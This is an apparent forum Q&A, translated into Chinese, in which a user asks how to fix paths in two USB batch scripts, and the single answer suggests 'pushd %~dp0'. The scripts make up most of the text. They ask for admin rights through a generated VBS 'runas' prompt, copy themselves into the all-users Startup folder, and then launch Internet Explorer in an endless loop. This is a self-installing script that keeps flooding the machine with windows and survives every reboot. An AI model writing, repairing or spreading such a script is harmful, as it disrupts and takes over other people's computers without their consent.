0

我将这两个批处理文件放在 USB 驱动器上,我需要找到一种方法使 Tyler.bat 具有正确的路径,以便当我从 USB 驱动器调用 Tyler.bat 时,它会读取 USB 驱动器并加载Tyler.bat 使用正确的路径,然后执行其命令。

我想知道如何在不将驱动器名称更改为特定名称的情况下执行此操作。

Zieske.bat

@echo off
echo Who are you?
set /p answer=
if /i "%answer%"=="Tyler" (call Tyler.bat)
if /i "%answer%"=="Tyler Zieske" (call Tyler.bat)
if /i "%answer%"=="Pediatric Gynocologist" (call Tyler.bat)
echo Welcome %answer%!
pause

泰勒.bat

@echo off
REM Run shell as admin (example) - put here code as you like
REM Check Windows Version
ver | findstr /i "5\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2000
ver | findstr /i "5\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_XP
ver | findstr /i "5\.2\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2003
ver | findstr /i "6\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Vista
ver | findstr /i "6\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Win7
goto warn_and_exit

:ver_Win7
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning7
)
goto :ver_Win7


:ver_Vista
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning_Vista
)
goto :ver_Vista


:ver_2003
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2003
)
goto :ver_2003


:ver_XP
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginningXP
)
goto :ver_XP


:ver_2000
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2000
)
goto :ver_2000


:warn_and_exit
echo Machine OS cannot be determined.
pause

:beginning7
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
copy tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat"
goto yes:

:beginning_Vista
goto beginning7

:beginningXP
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
copy tyler.bat "c:\documents and settings\all users\start menu\programs\startup"
goto :yes

:beginning2003
goto :beginningXP

:beginning2000
goto :beginningXP

:yes
echo Hi Tyler!
pause
goto :Tyler

:Tyler
start iexplore.exe
goto :Tyler

cmd /k

ty的答案示例

pushd %~dp0
...all the other code...
copy tyler.bat
...more other code...

ty 的答案示例在代码中实现(不知道是否因为 goto 变量我需要将 pushd 放在命令复制批处理文件的位置)

zieske.bat

@echo off
pushd %~dp0
echo Who are you?
set /p answer=
if /i "%answer%"=="Tyler" (call Tyler.bat)
if /i "%answer%"=="Matt" (call Tyler.bat)
if /i "%answer%"=="Matthew" (call Tyler.bat)
if /i "%answer%"=="Matthew Tassin" (call Tyler.bat)
if /i "%answer%"=="Matt Tassin" (call Tyler.bat)
if /i "%answer%"=="Ryan" (call Tyler.bat)
if /i "%answer%"=="Ryan Ware" (call Tyler.bat)
if /i "%answer%"=="Tyler Zieske" (call Tyler.bat)
if /i "%answer%"=="Pediatric Gynocologist" (call Tyler.bat)
echo Welcome %answer%!
pause

泰勒.bat

@echo off
pushd %~dp0
REM Check Windows Version
ver | findstr /i "5\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2000
ver | findstr /i "5\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_XP
ver | findstr /i "5\.2\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_2003
ver | findstr /i "6\.0\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Vista
ver | findstr /i "6\.1\." > nul
IF %ERRORLEVEL% EQU 0 goto :ver_Win7
goto warn_and_exit

:ver_Win7
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning7
)
goto :ver_Win7


:ver_Vista
if exist "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat" (
goto :yes
) else (
goto :beginning_Vista
)
goto :ver_Vista


:ver_2003
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2003
)
goto :ver_2003


:ver_XP
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginningXP
)
goto :ver_XP


:ver_2000
cd "c:\documents and settings\all users\start menu\programs\startup"
if exist "tyler.bat" (
goto :yes
) else (
goto :beginning2000
)
goto :ver_2000


:warn_and_exit
echo Machine OS cannot be determined.
pause

:beginning7
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
pushd %~dp0
copy tyler.bat "c:\programdata\microsoft\windows\start menu\programs\startup\tyler.bat"
goto yes:

:beginning_Vista
goto beginning7

:beginningXP
CLS 
ECHO.
ECHO =============================
ECHO Running Admin shell
ECHO =============================

:checkPrivileges 
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges ) 

:getPrivileges 
if '%1'=='ELEV' (shift & goto gotPrivileges)  
ECHO. 
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation 
ECHO **************************************

setlocal DisableDelayedExpansion
set "batchPath=%~0"
setlocal EnableDelayedExpansion
ECHO Set UAC = CreateObject^("Shell.Application"^) > "%temp%\OEgetPrivileges.vbs" 
ECHO UAC.ShellExecute "!batchPath!", "ELEV", "", "runas", 1 >> "%temp%\OEgetPrivileges.vbs" 
"%temp%\OEgetPrivileges.vbs" 
exit /B 

:gotPrivileges 
::::::::::::::::::::::::::::
:START
::::::::::::::::::::::::::::
setlocal & pushd .
pushd %~dp0
copy tyler.bat "c:\documents and settings\all users\start menu\programs\startup"
goto :yes

:beginning2003
goto :beginningXP

:beginning2000
goto :beginningXP

:yes
echo Hi Tyler, Ryan, or Matt!
pause
goto :Tyler

:Tyler
start iexplore.exe
goto :Tyler

cmd /k

如果您可以pushd %~dp0通过 ctrl+f 验证语法/位置是否正确并输入,pushd %~dp0我将非常感激。

4

1 回答 1

0

您真的需要驱动器号,还是只需要确保您的当前目录是 USB 驱动器的根目录?如果是后者,只需执行以下操作:

pushd %~dp0

在批处理文件的开头。您将被 CD 到批处理文件所在的目录中。

于 2013-02-15T18:37:25.683 回答